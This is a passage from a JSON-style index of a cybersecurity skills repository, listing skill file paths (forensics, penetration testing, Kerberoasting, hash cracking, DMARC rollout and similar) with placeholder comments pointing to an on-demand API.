/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2FSKILL.md -->","skills/performing-credential-access-with-lazagne/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Fassets%2Ftemplate.md -->","skills/performing-credential-access-with-lazagne/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Freferences%2Fapi-reference.md -->","skills/performing-credential-access-with-lazagne/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Freferences%2Fstandards.md -->","skills/performing-credential-access-with-lazagne/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-credential-access-with-lazagne%2Freferences%2Fworkflows.md -->","skills/performing-cryptographic-audit-of-application/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2FSKILL.md -->","skills/performing-cryptographic-audit-of-application/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Fassets%2Ftemplate.md -->","skills/performing-cryptographic-audit-of-application/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Freferences%2Fapi-reference.md -->","skills/performing-cryptographic-audit-of-application/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Freferences%2Fstandards.md -->","skills/performing-cryptographic-audit-of-application/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cryptographic-audit-of-application%2Freferences%2Fworkflows.md -->","skills/performing-csrf-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-csrf-attack-simulation%2FSKILL.md -->","skills/performing-csrf-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-csrf-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/performing-cve-prioritization-with-kev-catalog/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2FSKILL.md -->","skills/performing-cve-prioritization-with-kev-catalog/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Fassets%2Ftemplate.md -->","skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Freferences%2Fapi-reference.md -->","skills/performing-cve-prioritization-with-kev-catalog/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Freferences%2Fstandards.md -->","skills/performing-cve-prioritization-with-kev-catalog/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-cve-prioritization-with-kev-catalog%2Freferences%2Fworkflows.md -->","skills/performing-dark-web-monitoring-for-threats/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2FSKILL.md -->","skills/performing-dark-web-monitoring-for-threats/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Fassets%2Ftemplate.md -->","skills/performing-dark-web-monitoring-for-threats/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Freferences%2Fapi-reference.md -->","skills/performing-dark-web-monitoring-for-threats/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Freferences%2Fstandards.md -->","skills/performing-dark-web-monitoring-for-threats/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dark-web-monitoring-for-threats%2Freferences%2Fworkflows.md -->","skills/performing-deception-technology-deployment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-deception-technology-deployment%2FSKILL.md -->","skills/performing-deception-technology-deployment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-deception-technology-deployment%2Freferences%2Fapi-reference.md -->","skills/performing-directory-traversal-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-directory-traversal-testing%2FSKILL.md -->","skills/performing-directory-traversal-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-directory-traversal-testing%2Freferences%2Fapi-reference.md -->","skills/performing-disk-forensics-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-disk-forensics-investigation%2FSKILL.md -->","skills/performing-disk-forensics-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-disk-forensics-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-dmarc-policy-enforcement-rollout/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2FSKILL.md -->","skills/performing-dmarc-policy-enforcement-rollout/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Fassets%2Ftemplate.md -->","skills/performing-dmarc-policy-enforcement-rollout/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Freferences%2Fapi-reference.md -->","skills/performing-dmarc-policy-enforcement-rollout/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Freferences%2Fstandards.md -->","skills/performing-dmarc-policy-enforcement-rollout/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dmarc-policy-enforcement-rollout%2Freferences%2Fworkflows.md -->","skills/performing-dns-enumeration-and-zone-transfer/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-enumeration-and-zone-transfer%2FSKILL.md -->","skills/performing-dns-enumeration-and-zone-transfer/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-enumeration-and-zone-transfer%2Freferences%2Fapi-reference.md -->","skills/performing-dns-tunneling-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-tunneling-detection%2FSKILL.md -->","skills/performing-dns-tunneling-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dns-tunneling-detection%2Freferences%2Fapi-reference.md -->","skills/performing-docker-bench-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2FSKILL.md -->","skills/performing-docker-bench-security-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Fassets%2Ftemplate.md -->","skills/performing-docker-bench-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-docker-bench-security-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Freferences%2Fstandards.md -->","skills/performing-docker-bench-security-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-docker-bench-security-assessment%2Freferences%2Fworkflows.md -->","skills/performing-dynamic-analysis-of-android-app/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2FSKILL.md -->","skills/performing-dynamic-analysis-of-android-app/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Fassets%2Ftemplate.md -->","skills/performing-dynamic-analysis-of-android-app/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Freferences%2Fapi-reference.md -->","skills/performing-dynamic-analysis-of-android-app/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Freferences%2Fstandards.md -->","skills/performing-dynamic-analysis-of-android-app/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Freferences%2Fworkflows.md -->","skills/performing-dynamic-analysis-with-any-run/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-with-any-run%2FSKILL.md -->","skills/performing-dynamic-analysis-with-any-run/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-with-any-run%2Freferences%2Fapi-reference.md -->","skills/performing-endpoint-forensics-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2FSKILL.md -->","skills/performing-endpoint-forensics-investigation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Fassets%2Ftemplate.md -->","skills/performing-endpoint-forensics-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-endpoint-forensics-investigation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Freferences%2Fstandards.md -->","skills/performing-endpoint-forensics-investigation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Freferences%2Fworkflows.md -->","skills/performing-endpoint-vulnerability-remediation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2FSKILL.md -->","skills/performing-endpoint-vulnerability-remediation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Fassets%2Ftemplate.md -->","skills/performing-endpoint-vulnerability-remediation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Freferences%2Fapi-reference.md -->","skills/performing-endpoint-vulnerability-remediation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Freferences%2Fstandards.md -->","skills/performing-endpoint-vulnerability-remediation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Freferences%2Fworkflows.md -->","skills/performing-entitlement-review-with-sailpoint-iiq/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-entitlement-review-with-sailpoint-iiq%2FSKILL.md -->","skills/performing-entitlement-review-with-sailpoint-iiq/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-entitlement-review-with-sailpoint-iiq%2Freferences%2Fapi-reference.md -->","skills/performing-external-network-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2FSKILL.md -->","skills/performing-external-network-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Fassets%2Ftemplate.md -->","skills/performing-external-network-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Freferences%2Fapi-reference.md -->","skills/performing-external-network-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Freferences%2Fstandards.md -->","skills/performing-external-network-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Freferences%2Fworkflows.md -->","skills/performing-false-positive-reduction-in-siem/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2FSKILL.md -->","skills/performing-false-positive-reduction-in-siem/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Fassets%2Ftemplate.md -->","skills/performing-false-positive-reduction-in-siem/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Freferences%2Fapi-reference.md -->","skills/performing-false-positive-reduction-in-siem/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Freferences%2Fstandards.md -->","skills/performing-false-positive-reduction-in-siem/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Freferences%2Fworkflows.md -->","skills/performing-file-carving-with-foremost/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-file-carving-with-foremost%2FSKILL.md -->","skills/performing-file-carving-with-foremost/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-file-carving-with-foremost%2Freferences%2Fapi-reference.md -->","skills/performing-firmware-extraction-with-binwalk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-extraction-with-binwalk%2FSKILL.md -->","skills/performing-firmware-extraction-with-binwalk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-extraction-with-binwalk%2Freferences%2Fapi-reference.md -->","skills/performing-firmware-malware-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-malware-analysis%2FSKILL.md -->","skills/performing-firmware-malware-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-malware-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-fuzzing-with-aflplusplus/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-fuzzing-with-aflplusplus%2FSKILL.md -->","skills/performing-fuzzing-with-aflplusplus/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-fuzzing-with-aflplusplus%2Freferences%2Fapi-reference.md -->","skills/performing-gcp-penetration-testing-with-gcpbucketbrute/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-penetration-testing-with-gcpbucketbrute%2FSKILL.md -->","skills/performing-gcp-penetration-testing-with-gcpbucketbrute/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-penetration-testing-with-gcpbucketbrute%2Freferences%2Fapi-reference.md -->","skills/performing-gcp-security-assessment-with-forseti/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-security-assessment-with-forseti%2FSKILL.md -->","skills/performing-gcp-security-assessment-with-forseti/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-security-assessment-with-forseti%2Freferences%2Fapi-reference.md -->","skills/performing-graphql-depth-limit-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-depth-limit-attack%2FSKILL.md -->","skills/performing-graphql-depth-limit-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-depth-limit-attack%2Freferences%2Fapi-reference.md -->","skills/performing-graphql-introspection-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-introspection-attack%2FSKILL.md -->","skills/performing-graphql-introspection-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-introspection-attack%2Freferences%2Fapi-reference.md -->","skills/performing-graphql-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-security-assessment%2FSKILL.md -->","skills/performing-graphql-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-graphql-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-hardware-security-module-integration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hardware-security-module-integration%2FSKILL.md -->","skills/performing-hardware-security-module-integration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hardware-security-module-integration%2Freferences%2Fapi-reference.md -->","skills/performing-hash-cracking-with-hashcat/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2FSKILL.md -->","skills/performing-hash-cracking-with-hashcat/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Fassets%2Ftemplate.md -->","skills/performing-hash-cracking-with-hashcat/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Freferences%2Fapi-reference.md -->","skills/performing-hash-cracking-with-hashcat/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Freferences%2Fstandards.md -->","skills/performing-hash-cracking-with-hashcat/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-hash-cracking-with-hashcat%2Freferences%2Fworkflows.md -->","skills/performing-http-parameter-pollution-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-http-parameter-pollution-attack%2FSKILL.md -->","skills/performing-http-parameter-pollution-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-http-parameter-pollution-attack%2Freferences%2Fapi-reference.md -->","skills/performing-ics-asset-discovery-with-claroty/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ics-asset-discovery-with-claroty%2FSKILL.md -->","skills/performing-ics-asset-discovery-with-claroty/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ics-asset-discovery-with-claroty%2Freferences%2Fapi-reference.md -->","skills/performing-indicator-lifecycle-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2FSKILL.md -->","skills/performing-indicator-lifecycle-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Fassets%2Ftemplate.md -->","skills/performing-indicator-lifecycle-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Freferences%2Fapi-reference.md -->","skills/performing-indicator-lifecycle-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Freferences%2Fstandards.md -->","skills/performing-indicator-lifecycle-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-indicator-lifecycle-management%2Freferences%2Fworkflows.md -->","skills/performing-initial-access-with-evilginx3/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2FSKILL.md -->","skills/performing-initial-access-with-evilginx3/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Fassets%2Ftemplate.md -->","skills/performing-initial-access-with-evilginx3/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Freferences%2Fapi-reference.md -->","skills/performing-initial-access-with-evilginx3/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Freferences%2Fstandards.md -->","skills/performing-initial-access-with-evilginx3/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-initial-access-with-evilginx3%2Freferences%2Fworkflows.md -->","skills/performing-insider-threat-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-insider-threat-investigation%2FSKILL.md -->","skills/performing-insider-threat-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-insider-threat-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-ioc-enrichment-automation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ioc-enrichment-automation%2FSKILL.md -->","skills/performing-ioc-enrichment-automation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ioc-enrichment-automation%2Freferences%2Fapi-reference.md -->","skills/performing-ios-app-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ios-app-security-assessment%2FSKILL.md -->","skills/performing-ios-app-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ios-app-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-iot-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-iot-security-assessment%2FSKILL.md -->","skills/performing-iot-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-iot-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-ip-reputation-analysis-with-shodan/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ip-reputation-analysis-with-shodan%2FSKILL.md -->","skills/performing-ip-reputation-analysis-with-shodan/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ip-reputation-analysis-with-shodan%2Freferences%2Fapi-reference.md -->","skills/performing-jwt-none-algorithm-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-jwt-none-algorithm-attack%2FSKILL.md -->","skills/performing-jwt-none-algorithm-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-jwt-none-algorithm-attack%2Freferences%2Fapi-reference.md -->","skills/performing-kerberoasting-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2FSKILL.md -->","skills/performing-kerberoasting-attack/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Fassets%2Ftemplate.md -->","skills/performing-kerberoasting-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Freferences%2Fapi-reference.md -->","skills/performing-kerberoasting-attack/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Freferences%2Fstandards.md -->","skills/performing-kerberoasting-attack/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kerberoasting-attack%2Freferences%2Fworkflows.md -->","skills/performing-kubernetes-cis-benchmark-with-kube-bench/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2FSKILL.md -->","skills/performing-kubernetes-cis-benchmark-with-kube-bench/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Fassets%2Ftemplate.md -->","skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Freferences%2Fapi-reference.md -->","skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Freferences%2Fstandards.md -->","skills/performing-kubernetes-cis-benchmark-with-kube-bench/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-cis-benchmark-with-kube-bench%2Freferences%2Fworkflows.md -->","skills/performing-kubernetes-etcd-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2FSKILL.md -->","skills/performing-kubernetes-etcd-security-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Fassets%2Ftemplate.md 